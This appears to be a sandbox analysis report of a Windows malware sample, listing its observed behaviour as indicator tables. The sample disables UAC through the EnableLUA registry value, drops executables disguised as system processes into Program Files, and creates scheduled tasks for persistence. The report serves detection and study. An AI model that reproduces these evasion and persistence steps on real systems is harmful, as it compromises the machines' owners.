Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\886983d96e3d3e C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\csrss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\sppsvc.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\explorer.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Microsoft Office 15\ClientX64\fontdrvhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\6cb0b6c459d5d3 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\Accessories\en-US\RCX44CD.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Windows Security\BrowserCore\en-US\backgroundTaskHost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Microsoft Office 15\ClientX64\5b884080fd4f94 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\RCX5260.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows Defender\csrss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Microsoft Office\Updates\TextInputHost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\dwm.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Microsoft Office\Updates\TextInputHost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Windows Security\BrowserCore\en-US\eddb19405b7ce1 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\7-Zip\Lang\lsass.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\dllhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\dllhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Microsoft Office\Updates\RCX46D2.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Microsoft Office 15\ClientX64\RCX4953.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Microsoft Office 15\ClientX64\fontdrvhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\RCX4B58.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\0a1fd5f707cd16 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Windows Mail\dllhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\dwm.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Windows Mail\dllhost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\7-Zip\Lang\6203df4a6bafc7 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows Defender\886983d96e3d3e C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lsass.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\7a0fd90576e088 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\5940a34987c991 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Windows Security\BrowserCore\en-US\backgroundTaskHost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Windows Multimedia Platform\1f93f77a7f4778 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\sppsvc.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Microsoft Office\Updates\22eafd247d37c3 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\Accessories\en-US\explorer.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Windows Mail\5940a34987c991 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\sppsvc.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\ServiceProfiles\sihost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Windows\ServiceProfiles\sihost.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Windows\ServiceProfiles\66fc9ff0ee96c2 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
